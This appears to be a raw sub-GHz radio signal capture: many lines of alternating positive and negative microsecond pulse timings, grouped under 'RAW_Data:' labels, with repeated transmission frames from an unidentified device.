105 -334 125 -354 351 -104 337 -124 341 -126 369 -96 339 -128 125 -342 357 -140 335 -126 347 -94 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 139 -336 127 -3720 99 -356 143 -334 125 -352 349 -104 337 -124 341 -126 369 -98 337 -128 127 -340 357 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3722 99 -356 143 -334 93 -384 349 -104 337 -124 339 -128 337 -128 337 -128 127 -340 357 -140 335 -126 317 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3722 101 -356 107 -370 93 -396 329 -132 329 -124 337 -128 337 -128 337 -128 125 -350 351 -104 337 -122 343 -126 121 -372 101 -368 93 -382 351 -102 141 -364 103 -336 129 -356 93 -372 349 -132 329 -124 121 -350 139 -334 127 -3724 99 -356 107 -370 93 -384 349 -104 337 -124 339 -126 339 -128 337 -128 127 -342 355 -140 335 -126 317 -124 121 -372 103 -366 93 -384 349 -104 141 -364 103 -338 127 -358 93 -372 349 -132 329 -124 119 -350 125 -344 133 -3704 133 -358 -RAW_Data: 103 -336 129 -362 349 -140 333 -94 383 -106 359 -108 337 -128 97 -368 355 -104 349 -140 333 -124 107 -342 129 -360 125 -360 327 -122 121 -350 139 -334 127 -356 123 -340 349 -132 331 -124 121 -350 139 -336 125 -3716 97 -372 95 -378 93 -380 355 -106 347 -140 331 -92 391 -104 359 -108 105 -360 357 -106 349 -140 331 -92 139 -342 127 -360 125 -358 327 -124 119 -352 139 -334 127 -356 93 -370 349 -132 331 -122 121 -352 139 -334 127 -3714 97 -372 93 -380 139 -336 349 -106 341 -130 357 -92 369 -98 369 -96 127 -370 329 -140 335 -126 319 -126 121 -372 101 -368 125 -350 351 -102 143 -362 105 -336 129 -358 93 -372 349 -130 331 -124 119 -350 139 -336 125 -3724 101 -356 105 -370 93 -396 329 -132 331 -122 361 -104 359 -108 335 -124 145 -342 345 -108 337 -132 355 -94 121 -372 103 -368 125 -350 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -122 121 -348 139 -336 125 -3716 97 -372 95 -378 93 -380 355 -106 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 331 -92 139 -342 127 -358 125 -360 327 -122 121 -350 139 -336 125 -356 125 -340 349 -132 331 -122 121 -350 139 -336 125 -3724 101 -356 141 -334 125 -364 329 -134 329 -124 359 -106 357 -108 337 -124 143 -342 347 -106 339 -130 355 -94 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 127 -360 91 -372 349 -132 331 -124 119 -350 137 -336 127 -3724 99 -356 141 -334 125 -366 329 -134 329 -124 337 -128 337 -128 337 -128 125 -352 349 -104 335 -124 343 -126 121 -372 101 -368 93 -382 349 -104 141 -364 103 -336 129 -358 91 -372 349 -132 329 -124 121 -350 139 -336 127 -3716 97 -372 93 -368 141 -334 367 -108 339 -128 319 -126 369 -96 371 -96 125 -372 327 -140 335 -126 349 -94 121 -372 103 -368 91 -384 349 -104 141 -364 105 -334 129 -358 93 -370 349 -132 331 -124 119 -352 123 -344 133 -3696 133 -358 103 -370 99 -364 349 -140 335 -94 343 -126 369 -98 337 -128 125 -374 325 -140 335 -126 349 -94 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 129 -356 93 -372 349 -132 331 -124 119 -352 137 -336 125 -3728 101 -356 107 -368 93 -380 349 -104 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 335 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -350 137 -336 127 -3724 99 -356 107 -368 125 -364 331 -132 329 -124 337 -128 339 -128 -RAW_Data: 337 -128 93 -384 351 -102 335 -124 343 -128 121 -372 101 -368 91 -382 319 -136 139 -362 105 -334 127 -360 93 -372 349 -132 331 -124 89 -380 137 -334 127 -3714 97 -372 95 -378 93 -382 353 -106 349 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 331 -92 139 -342 127 -358 125 -360 327 -122 121 -350 139 -336 125 -358 93 -370 349 -132 331 -124 119 -350 139 -334 127 -3724 99 -356 107 -810048 241 -236 157 -338 127 -340 375 -94 355 -124 337 -128 337 -128 337 -128 93 -386 347 -104 333 -124 341 -126 121 -372 101 -366 91 -382 351 -102 141 -362 105 -336 127 -356 93 -370 349 -132 331 -122 121 -348 139 -334 127 -3690 135 -354 105 -370 93 -382 327 -126 349 -94 391 -104 359 -108 335 -124 107 -376 343 -106 339 -130 353 -94 121 -372 101 -368 125 -350 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 329 -124 119 -350 139 -334 125 -3698 133 -352 107 -368 93 -382 325 -126 321 -156 325 -138 357 -106 335 -126 107 -376 345 -106 337 -130 323 -158 89 -374 101 -368 93 -384 319 -134 105 -398 103 -336 127 -358 95 -370 349 -132 329 -124 89 -382 101 -370 127 -3694 135 -352 105 -368 93 -382 327 -126 353 -92 369 -128 339 -128 337 -126 93 -368 329 -128 357 -124 337 -128 91 -368 131 -334 123 -376 319 -134 141 -362 103 -336 127 -356 95 -370 349 -132 329 -122 121 -348 137 -334 127 -3724 99 -356 107 -368 93 -380 351 -102 337 -124 339 -126 337 -130 337 -128 125 -342 355 -140 335 -126 315 -126 121 -372 101 -368 91 -386 349 -104 141 -362 105 -336 127 -356 93 -370 349 -132 331 -124 119 -350 139 -334 125 -3716 97 -372 93 -366 141 -336 365 -108 339 -130 319 -126 337 -128 337 -128 127 -344 357 -138 333 -126 315 -126 123 -372 101 -366 93 -384 319 -134 141 -362 103 -336 127 -372 103 -362 347 -106 361 -106 105 -398 101 -340 135 -3700 99 -392 105 -334 127 -370 331 -132 329 -122 337 -128 337 -130 337 -126 127 -350 351 -102 337 -124 341 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 127 -372 105 -360 349 -106 361 -108 105 -362 141 -336 101 -3728 99 -392 105 -336 127 -356 349 -104 339 -124 341 -126 337 -130 337 -128 127 -344 355 -140 333 -126 313 -126 123 -372 101 -366 93 -384 319 -134 141 -362 103 -336 129 -372 103 -360 347 -106 361 -106 105 -398 103 -340 135 -3702 99 -392 105 -334 127 -354 349 -104 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 333 -94 -RAW_Data: 349 -124 121 -372 101 -368 93 -384 351 -102 143 -362 105 -334 129 -356 93 -372 349 -130 331 -122 121 -350 137 -336 127 -3720 101 -356 105 -370 93 -382 349 -104 337 -124 341 -128 337 -128 339 -128 125 -346 353 -140 333 -126 315 -126 121 -372 101 -366 93 -384 351 -102 141 -362 105 -336 127 -358 95 -370 349 -132 329 -124 91 -378 139 -334 127 -3716 101 -356 141 -334 95 -384 349 -104 335 -124 341 -126 369 -96 339 -126 127 -342 355 -140 335 -126 347 -94 121 -372 101 -368 93 -384 349 -104 141 -364 103 -336 129 -356 93 -372 349 -132 329 -124 121 -348 139 -336 127 -3690 135 -354 107 -368 93 -392 329 -132 331 -122 339 -128 337 -128 337 -126 95 -384 349 -102 337 -122 343 -126 121 -372 101 -368 93 -380 351 -102 143 -362 103 -336 129 -358 93 -370 349 -132 329 -124 121 -348 139 -336 125 -3720 101 -356 141 -334 125 -352 349 -102 337 -124 341 -126 369 -98 337 -128 125 -342 357 -140 335 -94 379 -94 121 -372 101 -368 93 -382 349 -104 141 -364 103 -338 127 -358 95 -370 349 -132 329 -124 121 -348 139 -334 127 -3716 97 -370 93 -370 139 -336 365 -108 339 -128 319 -124 369 -98 337 -128 125 -372 327 -140 335 -126 317 -126 121 -372 103 -366 93 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -348 139 -334 127 -3724 101 -356 105 -370 93 -380 351 -102 339 -122 341 -128 337 -128 337 -128 127 -342 355 -140 335 -124 317 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 329 -124 119 -350 139 -334 127 -3714 97 -372 93 -380 105 -370 347 -108 339 -130 337 -142 361 -104 343 -102 135 -354 357 -106 345 -104 363 -92 121 -374 101 -370 125 -366 331 -132 103 -358 107 -368 93 -396 103 -360 347 -108 361 -106 107 -396 105 -338 135 -3702 101 -392 105 -334 127 -352 349 -104 337 -124 341 -126 337 -128 339 -128 125 -342 357 -140 333 -128 315 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 139 -334 127 -3722 99 -356 107 -368 125 -352 349 -104 337 -124 341 -126 337 -128 339 -128 125 -342 357 -140 335 -94 347 -124 121 -372 103 -366 93 -384 349 -104 141 -364 103 -336 129 -356 93 -372 349 -132 329 -124 121 -348 139 -334 127 -3714 97 -372 95 -378 105 -372 345 -108 339 -130 325 -124 369 -98 369 -96 127 -370 327 -142 335 -128 317 -124 123 -372 101 -368 91 -384 351 -104 141 -362 -RAW_Data: 105 -336 127 -372 105 -360 349 -106 363 -106 107 -396 105 -338 135 -3698 99 -392 105 -336 127 -354 351 -102 339 -122 341 -128 337 -128 339 -126 127 -342 357 -140 333 -96 347 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 137 -336 125 -3724 101 -356 107 -368 93 -394 329 -134 329 -124 337 -128 337 -128 337 -128 125 -352 349 -104 335 -124 343 -126 121 -372 101 -368 91 -382 351 -102 141 -364 105 -334 129 -358 93 -370 349 -132 331 -122 121 -350 123 -344 133 -3694 131 -358 103 -372 99 -362 351 -140 335 -94 343 -126 369 -98 337 -128 125 -342 357 -140 335 -126 317 -124 121 -372 103 -366 93 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 137 -336 127 -3724 99 -356 107 -370 93 -394 327 -134 329 -124 337 -128 337 -128 337 -126 127 -350 351 -104 335 -124 343 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 129 -372 103 -362 347 -108 361 -106 107 -398 103 -338 135 -3702 99 -392 105 -334 127 -354 349 -104 337 -124 341 -126 369 -98 337 -128 127 -340 357 -140 335 -126 317 -124 123 -370 103 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -350 137 -336 127 -3722 99 -356 107 -368 93 -384 351 -102 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 335 -94 349 -124 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -352 137 -336 127 -3718 95 -372 93 -368 141 -334 367 -108 337 -128 351 -94 369 -96 369 -96 127 -370 329 -140 335 -128 317 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 119 -352 137 -336 125 -3724 101 -356 107 -368 93 -384 349 -104 337 -122 341 -126 337 -128 339 -126 127 -342 355 -140 335 -126 317 -126 121 -372 101 -368 91 -386 349 -104 141 -362 105 -336 127 -358 93 -372 349 -132 329 -124 119 -350 139 -334 127 -3722 101 -356 141 -334 93 -384 349 -104 337 -124 341 -126 337 -128 337 -128 127 -340 357 -140 335 -126 317 -124 123 -372 101 -366 93 -384 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3720 99 -356 143 -334 125 -352 349 -104 337 -124 341 -126 337 -128 339 -128 125 -342 357 -140 335 -126 315 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 -RAW_Data: 139 -334 127 -3720 101 -356 141 -336 125 -350 349 -104 337 -124 341 -126 337 -130 337 -128 127 -342 357 -138 335 -126 317 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -338 127 -358 93 -370 349 -132 329 -124 121 -352 137 -336 127 -3718 101 -356 141 -334 125 -352 351 -102 337 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -126 315 -126 121 -374 101 -368 91 -384 351 -104 139 -362 105 -336 129 -358 93 -372 349 -130 331 -122 121 -350 139 -334 127 -3726 99 -356 107 -370 93 -382 349 -104 335 -122 341 -126 371 -96 337 -128 127 -342 355 -140 335 -126 347 -94 121 -374 101 -368 93 -384 349 -104 141 -362 105 -336 127 -358 93 -372 349 -132 329 -124 119 -350 139 -336 127 -3716 97 -370 95 -380 91 -380 355 -106 347 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 329 -94 139 -340 129 -360 123 -360 327 -124 119 -350 139 -336 127 -356 93 -370 349 -132 331 -124 119 -350 139 -336 125 -3724 101 -356 107 -368 93 -384 347 -104 337 -124 341 -126 369 -98 337 -128 125 -342 357 -140 335 -126 347 -94 121 -372 103 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 137 -336 125 -3722 101 -356 141 -334 125 -366 329 -132 329 -124 359 -106 357 -108 337 -124 143 -340 349 -106 339 -130 357 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 127 -358 93 -370 349 -132 331 -124 121 -350 137 -336 127 -3692 135 -356 107 -370 93 -380 325 -126 355 -124 337 -128 339 -128 337 -126 93 -388 317 -132 335 -124 339 -128 121 -372 101 -368 91 -382 351 -102 141 -364 105 -334 129 -358 93 -370 349 -132 331 -122 121 -350 139 -334 127 -3724 99 -356 107 -370 125 -362 329 -134 329 -124 359 -106 357 -108 337 -124 143 -340 347 -106 341 -130 357 -92 121 -374 101 -370 123 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 137 -336 127 -3694 133 -358 105 -370 93 -380 327 -126 355 -94 367 -130 337 -128 337 -126 93 -358 347 -134 333 -124 339 -126 123 -370 101 -368 91 -382 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 139 -336 125 -3722 101 -356 141 -334 125 -350 351 -140 301 -124 343 -126 339 -128 337 -128 127 -344 355 -140 333 -128 315 -126 121 -372 101 -368 93 -382 351 -104 139 -362 105 -336 129 -358 93 -372 349 -132 329 -124 121 -350 137 -336 125 -3726 101 -356 107 -368 93 -394 327 -134 -RAW_Data: 329 -122 337 -128 337 -128 339 -126 125 -350 351 -104 337 -124 345 -126 121 -372 101 -366 93 -382 351 -104 141 -362 105 -336 129 -372 103 -362 347 -108 361 -106 143 -362 103 -340 135 -3698 101 -392 105 -334 127 -356 349 -140 303 -124 343 -126 337 -128 339 -128 125 -346 355 -140 333 -126 317 -126 121 -372 101 -368 91 -384 351 -102 141 -362 105 -336 129 -358 93 -372 349 -132 329 -124 121 -350 137 -334 127 -3722 101 -356 141 -334 93 -384 349 -104 337 -124 341 -126 369 -98 337 -128 125 -342 357 -140 335 -128 315 -124 123 -372 101 -368 91 -384 351 -104 141 -362 105 -336 127 -358 93 -372 349 -132 329 -124 121 -350 139 -334 127 -3724 99 -356 107 -370 93 -396 329 -132 329 -124 337 -128 337 -128 337 -128 125 -350 351 -102 337 -124 345 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -350 139 -334 127 -3714 97 -372 95 -378 141 -336 347 -108 339 -132 325 -124 369 -130 305 -160 95 -370 327 -140 335 -128 319 -124 121 -374 101 -368 93 -384 351 -102 141 -362 105 -336 129 -360 93 -370 349 -132 329 -124 121 -350 139 -334 127 -3726 101 -356 107 -368 93 -394 327 -134 329 -122 337 -128 337 -128 337 -128 125 -350 351 -104 337 -124 343 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -372 105 -360 349 -106 363 -106 141 -362 105 -338 135 -3698 99 -392 105 -336 127 -372 331 -134 329 -122 337 -128 339 -128 337 -126 127 -350 351 -102 337 -124 343 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -350 139 -334 127 -3722 101 -356 141 -334 125 -352 349 -104 339 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -126 315 -126 121 -374 101 -366 93 -384 351 -102 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -350 137 -334 127 -3726 99 -356 107 -370 93 -394 329 -132 329 -122 337 -128 337 -130 337 -126 127 -348 351 -104 337 -124 345 -126 121 -372 101 -368 91 -384 349 -104 141 -364 105 -334 129 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3722 101 -356 107 -368 125 -364 329 -134 329 -124 359 -104 359 -108 335 -126 143 -340 349 -106 339 -130 357 -92 121 -374 101 -370 125 -352 349 -104 141 -364 103 -336 129 -358 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3716 97 -370 95 -378 141 -336 347 -108 339 -132 355 -94 369 -96 369 -98 125 -370 329 -140 -RAW_Data: 337 -128 349 -94 121 -372 101 -368 125 -352 349 -104 141 -364 103 -336 129 -358 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3724 99 -356 107 -368 125 -366 329 -132 331 -122 337 -128 337 -130 337 -126 127 -348 351 -104 337 -124 343 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3720 99 -392 107 -334 125 -354 349 -138 303 -124 343 -126 337 -130 337 -128 125 -346 355 -140 333 -128 315 -126 121 -372 101 -368 93 -384 319 -134 141 -362 105 -336 127 -358 95 -370 349 -132 331 -124 89 -382 137 -334 127 -3696 133 -356 105 -368 93 -394 327 -134 329 -122 337 -128 337 -130 337 -126 127 -348 351 -104 369 -92 345 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 121 -352 139 -334 127 -3716 101 -392 103 -336 125 -356 349 -138 303 -126 343 -126 339 -128 337 -128 127 -346 355 -140 333 -124 317 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 127 -358 95 -370 349 -132 329 -124 121 -350 139 -334 127 -3726 101 -356 105 -370 93 -382 351 -102 335 -124 341 -126 371 -96 337 -128 127 -342 355 -140 335 -126 349 -94 121 -372 101 -368 93 -384 351 -102 141 -364 105 -336 127 -358 93 -372 349 -132 329 -124 121 -350 139 -334 127 -3716 97 -372 93 -380 93 -380 355 -104 349 -140 331 -92 391 -104 359 -106 107 -360 357 -106 349 -140 331 -94 139 -340 129 -360 125 -358 327 -124 121 -350 139 -334 127 -356 93 -370 349 -132 331 -124 121 -350 139 -336 127 -3724 101 -356 105 -370 93 -394 329 -132 331 -122 361 -104 359 -108 335 -126 143 -340 349 -106 337 -132 357 -92 121 -374 101 -370 123 -354 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 137 -336 127 -3724 101 -356 107 -368 93 -382 349 -140 301 -126 341 -128 337 -128 339 -128 125 -346 355 -140 333 -124 317 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 129 -372 103 -360 347 -108 361 -106 105 -396 103 -340 137 -3698 101 -392 103 -336 129 -358 349 -104 337 -124 343 -126 369 -98 337 -128 125 -372 327 -140 335 -126 349 -94 121 -372 103 -366 125 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 139 -334 127 -3728 101 -356 105 -370 93 -380 349 -104 337 -124 343 -126 337 -130 337 -128 125 -346 355 -140 333 -126 315 -126 121 -374 101 -366 93 -384 351 -104 -RAW_Data: 139 -362 105 -336 129 -358 93 -372 349 -130 331 -124 121 -350 137 -336 125 -3726 101 -356 105 -370 93 -394 329 -134 329 -122 337 -128 337 -128 339 -126 127 -348 351 -104 369 -92 345 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3718 95 -372 93 -380 91 -382 353 -106 349 -140 331 -94 391 -104 357 -108 105 -360 359 -106 349 -140 331 -92 141 -340 127 -360 125 -360 327 -122 121 -350 139 -334 127 -356 123 -340 349 -132 331 -124 121 -352 137 -336 127 -3726 101 -356 107 -368 93 -394 329 -132 329 -124 337 -128 337 -128 337 -128 125 -350 351 -104 337 -124 343 -126 123 -370 103 -366 93 -382 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3722 101 -356 141 -334 125 -364 331 -134 329 -124 359 -106 357 -108 337 -124 143 -342 347 -106 339 -130 357 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 127 -358 125 -338 349 -132 331 -124 121 -350 139 -336 125 -3722 101 -356 143 -334 93 -384 351 -102 339 -124 341 -128 337 -128 339 -128 125 -346 355 -140 333 -126 315 -126 121 -374 101 -366 93 -384 351 -104 141 -362 103 -338 127 -372 103 -362 345 -142 327 -106 139 -362 103 -340 137 -3706 99 -392 105 -334 127 -356 351 -104 337 -122 343 -126 369 -98 337 -128 125 -374 325 -140 335 -126 349 -94 121 -372 103 -368 93 -384 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 137 -336 127 -3722 99 -392 107 -334 93 -384 349 -140 301 -126 341 -128 337 -128 337 -130 125 -344 357 -138 335 -126 317 -126 121 -372 101 -368 93 -382 351 -104 139 -362 105 -336 129 -358 93 -372 349 -132 331 -124 121 -350 137 -334 127 -3696 133 -356 105 -368 93 -394 329 -132 329 -124 337 -126 339 -128 337 -128 125 -348 353 -138 333 -94 343 -126 123 -372 101 -366 93 -384 349 -104 141 -364 105 -334 129 -372 105 -360 349 -106 361 -108 141 -362 103 -340 135 -3698 97 -372 127 -346 123 -352 351 -94 371 -108 339 -130 355 -94 367 -130 91 -368 345 -124 359 -104 337 -122 123 -352 139 -336 125 -356 351 -102 143 -362 105 -336 129 -360 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3716 97 -372 93 -380 123 -352 353 -106 351 -138 331 -94 389 -106 357 -108 105 -360 359 -106 349 -138 333 -92 139 -340 129 -360 123 -360 327 -124 119 -350 139 -336 125 -358 93 -372 347 -134 331 -122 -RAW_Data: 121 -350 139 -334 127 -3722 101 -392 105 -334 127 -352 349 -140 301 -124 343 -128 337 -128 339 -126 127 -346 355 -140 333 -126 315 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -368 97 -358 95 -370 349 -132 329 -124 121 -352 137 -334 127 -3724 99 -356 143 -334 93 -384 349 -104 335 -124 343 -126 337 -130 337 -128 125 -342 357 -140 335 -126 347 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 119 -352 139 -334 127 -3716 99 -392 105 -336 127 -356 349 -138 303 -126 343 -126 337 -130 337 -128 127 -344 355 -140 335 -126 315 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -336 129 -358 93 -372 349 -132 329 -124 121 -350 139 -334 127 -3694 135 -356 107 -368 93 -392 329 -132 329 -124 337 -128 337 -128 337 -128 125 -348 353 -104 367 -94 343 -126 121 -372 103 -366 93 -384 349 -104 141 -364 103 -336 129 -358 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3724 99 -356 143 -332 125 -366 331 -134 329 -124 359 -104 359 -108 335 -124 145 -342 347 -106 339 -130 357 -94 121 -372 103 -368 125 -352 349 -104 141 -362 105 -338 127 -360 93 -370 349 -132 331 -122 121 -352 137 -336 127 -3726 101 -356 107 -368 93 -382 349 -104 337 -124 341 -126 337 -130 337 -128 125 -342 357 -140 335 -126 347 -94 121 -374 101 -368 123 -354 349 -104 141 -362 105 -336 129 -358 93 -372 349 -130 331 -124 121 -352 137 -336 125 -3724 101 -356 141 -334 127 -364 329 -132 331 -122 339 -128 337 -128 337 -126 127 -350 351 -104 335 -124 343 -126 121 -372 103 -366 93 -384 349 -104 141 -364 103 -336 129 -358 91 -372 349 -132 331 -124 119 -352 139 -334 127 -3728 99 -356 107 -370 93 -394 327 -134 329 -124 337 -128 337 -128 337 -126 127 -348 353 -104 337 -124 343 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 129 -356 93 -372 349 -132 331 -122 121 -350 139 -336 125 -3722 101 -392 105 -334 127 -352 351 -138 303 -124 343 -128 337 -128 339 -128 125 -346 355 -140 333 -124 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 103 -336 127 -360 93 -370 351 -132 331 -124 89 -380 137 -336 125 -3728 99 -356 107 -370 93 -384 349 -102 335 -124 341 -126 371 -96 337 -128 127 -372 325 -140 335 -128 347 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -336 129 -358 93 -370 349 -134 329 -124 121 -350 139 -334 127 -3722 101 -392 105 -334 127 -352 -RAW_Data: 349 -140 301 -124 343 -126 339 -128 337 -128 127 -376 325 -140 333 -126 317 -126 121 -372 101 -368 93 -384 349 -104 141 -362 103 -338 127 -358 95 -370 351 -132 329 -124 91 -380 137 -336 125 -3724 101 -356 141 -334 93 -384 349 -104 337 -124 341 -126 369 -98 337 -128 125 -372 327 -140 335 -126 349 -94 121 -374 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3722 101 -392 105 -334 127 -352 349 -140 303 -124 343 -126 339 -128 337 -128 127 -344 357 -138 333 -126 315 -126 123 -372 101 -368 93 -384 351 -102 141 -362 105 -336 127 -360 93 -372 349 -132 329 -124 121 -350 137 -334 127 -3718 97 -372 93 -380 91 -384 353 -104 349 -140 331 -124 359 -104 359 -106 105 -362 357 -106 351 -140 331 -92 139 -342 129 -360 123 -360 327 -124 119 -350 139 -334 127 -358 93 -370 349 -132 331 -124 121 -352 137 -336 125 -3718 99 -392 105 -334 127 -356 349 -140 303 -124 345 -126 337 -128 339 -128 125 -346 355 -140 333 -126 317 -126 121 -372 101 -368 93 -384 351 -102 141 -362 103 -368 97 -358 93 -372 349 -132 331 -124 121 -350 139 -334 127 -3722 99 -392 107 -334 127 -352 351 -102 337 -124 341 -126 369 -98 337 -128 127 -340 357 -140 335 -126 349 -94 121 -372 101 -370 91 -384 349 -104 141 -364 105 -336 127 -358 93 -372 349 -132 331 -122 121 -352 139 -334 127 -3716 97 -372 93 -380 123 -350 355 -106 351 -140 331 -92 391 -104 359 -106 105 -362 357 -106 349 -140 329 -94 139 -342 127 -360 125 -358 327 -124 119 -352 139 -336 125 -356 125 -340 349 -132 331 -122 121 -352 139 -334 127 -3720 101 -392 105 -334 127 -354 351 -138 303 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -126 315 -126 123 -372 101 -368 93 -384 351 -102 141 -362 103 -368 97 -358 95 -370 349 -132 329 -124 121 -352 137 -334 127 -3718 101 -392 105 -334 127 -356 351 -102 337 -124 343 -126 369 -96 339 -128 125 -372 327 -140 335 -126 317 -126 121 -372 103 -366 93 -384 349 -104 141 -364 103 -338 127 -358 125 -340 349 -132 331 -122 121 -350 139 -336 125 -3730 99 -356 107 -370 93 -394 327 -134 331 -122 361 -104 359 -106 337 -124 145 -340 347 -106 339 -132 357 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 121 -350 139 -336 125 -3724 101 -356 141 -334 125 -366 329 -134 329 -124 337 -126 339 -128 337 -126 127 -348 -RAW_Data: 353 -102 337 -124 345 -126 121 -372 101 -368 91 -386 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 119 -352 137 -336 127 -3724 99 -356 141 -336 125 -366 329 -134 329 -124 337 -128 337 -128 337 -128 125 -350 351 -104 337 -122 345 -126 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 127 -358 93 -372 349 -132 331 -122 121 -350 139 -334 127 -3720 101 -392 105 -334 127 -356 349 -138 303 -124 343 -126 337 -128 339 -128 125 -344 357 -138 335 -126 317 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -366 97 -360 93 -370 351 -132 329 -124 121 -352 137 -334 127 -3726 99 -356 143 -334 93 -384 349 -104 335 -124 341 -128 369 -96 339 -128 125 -372 327 -140 335 -126 347 -94 123 -372 101 -368 125 -350 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 121 -350 139 -334 127 -3716 97 -372 95 -376 125 -350 355 -106 351 -140 331 -94 389 -106 357 -108 105 -360 359 -104 351 -140 331 -92 139 -342 127 -360 125 -360 327 -122 121 -352 137 -336 127 -356 123 -340 349 -132 331 -124 121 -350 139 -336 125 -3728 101 -356 105 -370 93 -396 329 -132 329 -124 337 -128 337 -130 337 -126 127 -348 351 -104 337 -124 343 -126 123 -370 103 -366 93 -382 351 -104 141 -364 105 -334 129 -358 123 -340 349 -132 331 -124 121 -350 139 -336 125 -3718 99 -392 105 -334 127 -356 349 -140 303 -124 345 -126 337 -130 337 -128 127 -344 355 -140 335 -126 315 -126 121 -374 101 -368 91 -384 351 -104 141 -362 103 -368 95 -360 95 -370 351 -132 329 -124 91 -380 137 -336 125 -3726 101 -356 141 -334 93 -386 349 -104 335 -124 341 -126 369 -96 339 -128 125 -372 327 -140 335 -126 349 -94 121 -372 101 -368 125 -352 349 -104 141 -364 105 -336 127 -360 93 -370 349 -132 331 -124 121 -350 139 -334 127 -3724 99 -392 105 -334 127 -366 329 -134 329 -124 337 -128 337 -128 337 -128 125 -348 353 -104 337 -124 343 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -356 125 -340 349 -132 331 -122 121 -352 139 -334 127 -3722 99 -392 105 -334 127 -354 349 -140 303 -124 343 -126 337 -128 339 -128 125 -346 355 -140 333 -126 317 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -366 97 -360 93 -372 349 -132 329 -124 121 -350 139 -334 127 -3718 95 -372 95 -378 93 -382 353 -106 349 -140 331 -94 391 -104 357 -108 105 -360 357 -106 351 -138 331 -124 109 -374 95 -362 123 -360 -RAW_Data: 327 -122 121 -352 139 -336 125 -356 125 -340 349 -132 331 -122 121 -352 139 -334 127 -3724 101 -354 143 -332 127 -366 329 